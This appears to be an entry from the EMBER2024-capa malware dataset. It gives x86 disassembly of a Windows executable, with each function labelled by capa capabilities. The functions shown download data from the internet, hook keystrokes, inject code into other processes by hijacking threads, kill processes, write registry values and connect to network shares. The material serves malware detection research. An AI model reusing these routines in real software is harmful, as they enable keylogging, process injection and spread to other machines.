joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402c58
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 0x19
add esp, 0xfffff004
push eax
dec eax
jne 0x402c62
mov eax, dword [esp + 0x19000]
add esp, 0xfffffc00
mov ebp, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
mov dword [esp], eax
push 0x402d90
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA
mov edx, 0x402d94
xor ecx, ecx
mov eax, ebx
call fcn.0040216c
cmp eax, 5
je 0x402cb5
push 0x402d98
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA
push ebx
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcatA
mov edx, 0x402da0
lea eax, [esp + 4]
mov ecx, 2
call fcn.0040216c
test eax, eax
jne 0x402ce6
push 0x402da0
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcatA
push 0
push 0
push 0
push 0
push 0x402da4
call sub.wininet.dll_InternetOpenA
mov ebx, eax
push 0
push 0x80000000
push 0
push 0
lea eax, [esp + 0x14]
push eax
push ebx
call sub.wininet.dll_InternetOpenUrlA
mov esi, eax
test edi, edi
jne 0x402d1a
test ebp, ebp
je 0x402d76
push 0x19000
lea eax, [esp + 0x408]
push eax
call sub.kernel32.dll_RtlZeroMemory
push esp
push 0x19000
lea eax, [esp + 0x40c]
push eax
push esi
call sub.wininet.dll_InternetReadFile
cmp dword [esp], 0
jbe 0x402d76
test edi, edi
je 0x402d5c
mov eax, dword [esp]
push eax
lea eax, [esp + 0x408]
push eax
push edi
call sub.kernel32.dll_RtlMoveMemory
test ebp, ebp
je 0x402d76
push 0
push 1
lea edx, [esp + 0x40c]
mov ecx, dword [esp + 8]
mov eax, ebp
call fcn.00402864
push esi
call sub.wininet.dll_InternetCloseHandle
push ebx
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [esp]
add esp, 0x19404
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x404134
Capabilities:
Log keystrokes via application hook
Set global application hook

Disassembly:
push ebx
push ecx
mov byte [esp], cl
mov ebx, edx
cmp al, 1
jne 0x40415d
push 0
push 0x406b18
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x4040d4
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x407124], eax
cmp bl, 1
jne 0x404180
push 0
push 0x406b18
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x4040f4
push 7
call sub.user32.dll_SetWindowsHookExA
mov dword [0x407128], eax
cmp byte [esp], 1
jne 0x4041a4
push 0
push 0x406b18
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x404114
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40712c], eax
pop edx
pop ebx
ret
Function at 0x4044a8
Capabilities:
Create thread
Get common file path
Get hostname

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, 0x406708
call sub.kernel32.dll_GetCurrentProcess
mov dword [0x406700], eax
call sub.kernel32.dll_GetCurrentProcessId
mov dword [0x406704], eax
push 0x104
push ebx
call sub.kernel32.dll_GetSystemDirectoryA
push 0x4046a4
push ebx
call sub.kernel32.dll_lstrcatA_1
push ebx
push 0x40680c
call sub.kernel32.dll_lstrcpyA_1
push 0x4046a8
push 0x40680c
call sub.kernel32.dll_lstrcatA_1
push ebx
push 0x406910
call sub.kernel32.dll_lstrcpyA_1
push 0x4046b8
push 0x406910
call sub.kernel32.dll_lstrcatA_1
push ebx
push 0x406a14
call sub.kernel32.dll_lstrcpyA_1
push 0x4046c8
push 0x406a14
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x406b18
mov eax, 0x40680c
xor edx, edx
call fcn.004023a8
mov ecx, 0x406c1c
xor edx, edx
mov eax, dword [0x406704]
call fcn.004024b4
mov ecx, 0x406c1c
mov eax, 0x406c1c
xor edx, edx
call fcn.004023a8
push 0x4046d8
push 0x406d20
call sub.kernel32.dll_lstrcpyA_1
mov dword [esp], pe_nt_image_headers32
push esp
push 0x406e24
call sub.kernel32.dll_GetComputerNameA
push 0x4046e0
push 0x406f24
call sub.kernel32.dll_lstrcpyA_1
push 0x404708
push 0x407024
call sub.kernel32.dll_lstrcpyA_1
xor eax, eax
mov dword [0x407124], eax
xor eax, eax
mov dword [0x407128], eax
xor eax, eax
mov dword [0x40712c], eax
mov eax, 0x407130
mov edx, 0x43c
call fcn.00403184
mov eax, 0x40756c
mov edx, 0x43c
call fcn.00403184
push ebx
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40470c
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [esp + 4]
call fcn.00402630
push ebx
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40471c
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [esp + 4]
call fcn.00402804
push ebx
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40471c
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [esp + 4]
call fcn.00402804
push 0x40472c
push 0x406c1c
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
jne 0x404660
push esp
push 0
push 0
push 0x403f48
push 0
push 0
call sub.kernel32.dll_CreateThread
push 0x406d20
push 0x406c1c
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
jne 0x404688
push esp
push 0
push 0
push 0x403a3c
push 0
push 0
call sub.kernel32.dll_CreateThread
jmp 0x40469b
push esp
push 0
push 0
push 0x404340
push 0
push 0
call sub.kernel32.dll_CreateThread
add esp, 0x108
pop ebx
ret
Function at 0x402724
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040317c
test esi, esi
jne 0x40275a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040326c
jmp 0x402778
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004025d8
mov edi, eax
test esi, esi
je 0x402778
cmp dword [ebx], 0
je 0x402778
dec esi
jmp 0x402761
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402920
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x411014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4029b8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402998
xor eax, eax
push ebp
push 0x402991
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4029d4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402998
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x411014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x411014], ax
mov esp, ebp
pop ebp
ret

Function at 0x403000
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x412034], 0
je 0x403061
cmp word [0x412208], 0xd7b2
jne 0x403029
cmp dword [0x412210], 0
jbe 0x403029
mov eax, 0x412204
call dword [0x412220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x41105c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403088
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x411020], 0
jne 0x40307d
push 0
push 0x411054
push 0x41105c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403f30
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403f96
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004033a4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402814
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403f80
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403f9d
lea eax, [ebp - 0x10]
call fcn.0040317c
ret
Function at 0x404fbc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
push ebp
push 0x4050c1
push dword fs:[ebx]
mov dword fs:[ebx], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
xor ebx, ebx
mov dword [0x41269c], ebx
xor ebx, ebx
mov dword [0x412698], ebx
mov dword [0x412688], eax
mov dword [0x41268c], edx
cmp dword [0x412688], 0
je 0x4050b3
mov eax, dword [0x412688]
mov dword [ecx], eax
mov edi, dword [0x412688]
mov ax, word [edi]
not ax
cmp ax, 0x5a4d
je 0x4050b3
mov esi, dword [edi + 0x3c]
add esi, edi
push 0xf8
push esi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x4050b3
cmp dword [esi], 0x4550
jne 0x4050b3
mov eax, esi
call fcn.00404fa4
test al, al
jne 0x4050b3
mov ebx, esi
add ebx, 0xf8
mov ax, word [esi + 6]
cmp ax, 0x64
jae 0x4050b3
movzx eax, ax
dec eax
test eax, eax
jl 0x4050b3
inc eax
mov esi, eax
mov edx, 0x4050d4
mov eax, ebx
mov ecx, 8
call fcn.004045a8
test eax, eax
jne 0x4050ad
mov eax, dword [ebx + 0x14]
add eax, edi
mov dword [0x412690], eax
mov eax, dword [0x412690]
call fcn.00404fa4
test al, al
jne 0x4050b3
mov eax, dword [0x412690]
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0xc]
mov dword [0x412694], eax
mov eax, dword [ebp + 8]
mov edx, dword [0x412694]
mov dword [eax], edx
jmp 0x4050b3
add ebx, 0x28
dec esi
jne 0x405063
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4050c8
ret
Function at 0x4063c4
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff34
mov esi, eax
xor ebx, ebx
push 0
push esi
call fcn.00405888
mov dword [0x4126dc], eax
cmp dword [0x4126dc], 0
je 0x406465
cmp dword [0x4126ec], 0
je 0x406465
cmp dword [0x4126f0], 0
je 0x406465
mov eax, dword [0x4126dc]
push eax
call sub.kernel32.dll_SuspendThread
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4126dc]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x40644c
push esi
lea esi, [esp + 4]
mov edi, 0x4126f4
mov ecx, 0x33
rep movsd dword es:[edi], dword [esi]
pop esi
mov eax, dword [0x4126ec]
mov dword [esp + 0xb8], eax
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4126dc]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [0x4126dc]
push eax
call sub.kernel32.dll_ResumeThread
push 0
push 0
push 0
push esi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
add esp, 0xcc
pop edi
pop esi
pop ebx
ret

Function at 0x406c34
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov edi, eax
xor eax, eax
push ebp
push 0x406d68
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov esi, 0x406bd8
sub esi, 0x406bc8
push edi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [0x412800], eax
cmp dword [0x412800], 0
je 0x406d4d
push 0x40
push 0x1000
push esi
push 0
mov eax, dword [0x412800]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x412804], eax
cmp dword [0x412804], 0
je 0x406d4b
lea edx, [ebp - 0x10]
mov eax, 0x406d80
call fcn.00404c04
mov eax, dword [ebp - 0x10]
call fcn.004035bc
push eax
call sub.kernel32.dll_GetModuleHandleA_1
mov ebx, eax
lea edx, [ebp - 0x14]
mov eax, 0x406d98
call fcn.00404c04
mov eax, dword [ebp - 0x14]
call fcn.004035bc
push eax
push ebx
call sub.kernel32.dll_GetProcAddress
call fcn.00406bdc
mov dword [ebp - 0xc], eax
push esi
push 0
call sub.kernel32.dll_GlobalAlloc
mov ebx, eax
test ebx, ebx
je 0x406d4b
mov edx, ebx
mov eax, 0x406bc8
mov ecx, esi
call fcn.00402598
mov edx, esi
sub edx, 5
test edx, edx
jl 0x406d2e
inc edx
mov dword [ebp - 4], 0
mov eax, ebx
add eax, dword [ebp - 4]
cmp dword [eax], 0x11111111
jne 0x406d28
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
inc dword [ebp - 4]
dec edx
jne 0x406d16
lea eax, [ebp - 8]
push eax
push esi
push ebx
mov eax, dword [0x412804]
push eax
mov eax, dword [0x412800]
push eax
call sub.kernel32.dll_WriteProcessMemory
push ebx
call sub.kernel32.dll_GlobalFree
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406d6f
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004031a0
ret
Function at 0x406da4
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff34
mov esi, eax
xor ebx, ebx
push 0
push esi
call fcn.004068f8
mov dword [0x4127fc], eax
cmp dword [0x4127fc], 0
je 0x406e3c
cmp dword [0x412804], 0
je 0x406e3c
mov eax, dword [0x4127fc]
push eax
call sub.kernel32.dll_SuspendThread
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4127fc]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x406e23
push esi
lea esi, [esp + 4]
mov edi, 0x412808
mov ecx, 0x33
rep movsd dword es:[edi], dword [esi]
pop esi
mov eax, dword [0x412804]
mov dword [esp + 0xb8], eax
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4127fc]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [0x4127fc]
push eax
call sub.kernel32.dll_ResumeThread
push 0
push 0
push 0
push esi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
add esp, 0xcc
pop edi
pop esi
pop ebx
ret

Function at 0x406ebc
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x406f78
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.0040317c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
jbe 0x406f5a
mov eax, ebx
call fcn.00402494
mov esi, eax
push esi
push ebx
push 0
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
call sub.version.dll_GetFileVersionInfoA
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x10]
mov eax, 0x406f90
call fcn.00404c04
mov eax, dword [ebp - 0x10]
call fcn.004035bc
push eax
push esi
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x406f51
mov edx, edi
mov eax, dword [ebp - 8]
call fcn.00404768
mov edx, ebx
mov eax, esi
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406f7f
lea eax, [ebp - 0x10]
call fcn.0040317c
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x407258
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed4
push ebx
push esi
xor eax, eax
mov dword [ebp - 4], eax
lea esi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x407309
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.00406fb4
xor edx, edx
mov eax, 0xf
call fcn.004056b0
mov ebx, eax
mov dword [esi], 0x128
mov edx, esi
mov eax, ebx
call fcn.004056d0
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4072e9
push ebp
mov eax, dword [esi + 8]
call fcn.00407004
pop ecx
test al, al
je 0x4072da
mov eax, dword [esi + 8]
push eax
push 0xffffffffffffffff
push 1
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
je 0x4072ed
push 0
push esi
call sub.kernel32.dll_TerminateProcess
push esi
call sub.kernel32.dll_CloseHandle
jmp 0x4072ed
mov edx, esi
mov eax, ebx
call fcn.004056f0
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4072a9
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407310
lea eax, [ebp - 4]
call fcn.0040317c
ret

Function at 0x407640
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
lea edi, [ebp - 0x12d]
xor eax, eax
push ebp
push 0x4077bc
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 0xf
call fcn.004056b0
mov esi, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, esi
call fcn.004056d0
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x407788
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004033a4
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.004046d0
mov eax, dword [ebp - 0x134]
mov edx, dword [ebp - 4]
call fcn.00404698
test eax, eax
je 0x407702
lea eax, [ebp - 0x13c]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004033a4
mov eax, dword [ebp - 0x13c]
mov edx, dword [ebp - 4]
call fcn.00404698
test eax, eax
jne 0x407779
mov eax, dword [edi + 8]
push eax
push 0xffffffffffffffff
push 1
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x40772e
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x407732
mov byte [ebp - 5], 0
cmp byte [ebp - 5], 0
jne 0x407779
call fcn.00407618
test al, al
jne 0x407779
mov edx, dword [edi + 8]
mov eax, 1
call fcn.00407500
mov ebx, eax
test ebx, ebx
je 0x407779
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
push ebx
call sub.kernel32.dll_CloseHandle
cmp byte [ebp - 5], 0
jne 0x407779
mov eax, dword [edi + 8]
call fcn.00406e48
mov edx, edi
mov eax, esi
call fcn.004056f0
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4076a7
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4077c3
lea eax, [ebp - 0x13c]
mov edx, 3
call fcn.004031a0
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x408da8
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe2c
mov dword [esp], eax
mov edi, 0x4129a4
lea eax, [esp + 0x44]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [esp]
call fcn.0040317c
push 0x40
lea eax, [esp + 8]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x408e42
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x408e36
test ebx, ebx
jne 0x408e06
push dword [ebp]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [esp]
call fcn.00404768
mov eax, dword [edi]
call fcn.00403be4
inc eax
push eax
mov eax, edi
mov ecx, 1
mov edx, dword [0x407f58]
call fcn.00403da0
add esp, 4
mov eax, dword [edi]
call fcn.00403bec
mov edx, dword [edi]
mov ecx, dword [esi + ebx*4]
mov ecx, dword [ecx]
mov dword [edx + eax*4], ecx
inc ebx
mov ebp, dword [esi + ebx*4]
test ebp, ebp
jne 0x408df2
call sub.wsock32.dll_WSACleanup
add esp, 0x1d4
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x408e50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
xor eax, eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x408fe2
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x114]
mov eax, 0x408ff8
call fcn.00404c04
mov eax, dword [ebp - 0x114]
push eax
lea eax, [ebp - 0x118]
call fcn.00408788
mov edx, dword [ebp - 0x118]
lea eax, [ebp - 4]
pop ecx
call fcn.00403408
mov eax, dword [ebp - 4]
call fcn.00404860
mov ebx, eax
cmp ebx, 0xffffffff
je 0x408eef
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [0x4129c8]
push eax
mov eax, dword [0x4129b4]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
call fcn.00404a00
test al, al
je 0x408fbc
cmp byte [0x41f1ec], 0
je 0x408f57
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
lea edx, [ebp - 0x11c]
mov eax, 0x409010
call fcn.00404c04
mov eax, dword [ebp - 0x11c]
call fcn.004035bc
push eax
lea edx, [ebp - 0x120]
mov eax, 0x409020
call fcn.00404c04
mov eax, dword [ebp - 0x120]
call fcn.004035bc
mov edx, eax
mov eax, 0x80000002
pop ecx
call fcn.00404efc
jmp 0x408fbc
push 0x104
lea eax, [ebp - 0x10e]
push eax
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
call sub.kernel32.dll_GetShortPathNameA
lea eax, [ebp - 0x10e]
push eax
lea edx, [ebp - 0x124]
mov eax, 0x409010
call fcn.00404c04
mov eax, dword [ebp - 0x124]
call fcn.004035bc
push eax
lea edx, [ebp - 0x128]
mov eax, 0x409058
call fcn.00404c04
mov eax, dword [ebp - 0x128]
call fcn.004035bc
mov edx, eax
mov eax, 0x80000001
pop ecx
call fcn.00404efc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408fe9
lea eax, [ebp - 0x128]
mov edx, 6
call fcn.004031a0
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x409548
Capabilities:
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x4095fc
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00407318
lea edx, [ebp - 8]
mov eax, 0x409610
call fcn.00404c04
mov eax, dword [ebp - 8]
call fcn.00407640
lea edx, [ebp - 0xc]
mov eax, 0x409624
call fcn.00404c04
mov eax, dword [ebp - 0xc]
call fcn.00407640
lea edx, [ebp - 0x10]
mov eax, 0x409638
call fcn.00404c04
mov eax, dword [ebp - 0x10]
call fcn.00407640
push 0
lea edx, [ebp - 0x14]
mov eax, 0x40964c
call fcn.00404c04
mov eax, dword [ebp - 0x14]
call fcn.004035bc
push eax
call sub.kernel32.dll_WinExec
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4094b8
push 0
push 0
call sub.kernel32.dll_CreateThread
push 0x3e8
call sub.kernel32.dll_Sleep
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409603
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004031a0
ret
Function at 0x40e670
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
lea edi, [ebp - 0x2c]
xor eax, eax
push ebp
push 0x40e79d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x40e762
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 4]
mov edx, 0x40e7b8
call fcn.00403408
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0xc]
call fcn.0040fa9c
mov eax, dword [ebp - 0xc]
call fcn.00403bec
mov esi, eax
test esi, esi
jl 0x40e758
inc esi
xor ebx, ebx
xor eax, eax
mov dword [edi + 4], eax
xor eax, eax
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.004035bc
mov dword [edi + 0x14], eax
xor eax, eax
mov dword [edi + 0x1c], eax
push 0
push 0
push 0x40e7bc
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
je 0x40e71e
push 0
push 0
push 0
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x40e754
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + ebx*4]
lea eax, [ebp - 0x34]
mov ecx, 0x40e7c8
call fcn.00403408
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov dl, 1
call fcn.00410348
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.004035bc
push eax
call sub.mpr.dll_WNetCancelConnectionA
inc ebx
dec esi
jne 0x40e6de
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40e76c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e7a4
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.004031a0
lea eax, [ebp - 0xc]
mov edx, dword [0x40e64c]
call fcn.00403dac
lea eax, [ebp - 4]
call fcn.0040317c
ret

Function at 0x40e7cc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40e84e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
mov edx, 0x44
call fcn.00404504
mov dword [ebp - 0x48], 0x44
mov word [ebp - 0x18], 1
test ebx, ebx
jne 0x40e80f
lea ebx, [ebp - 0x58]
push ebx
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e855
lea eax, [ebp - 4]
call fcn.0040317c
ret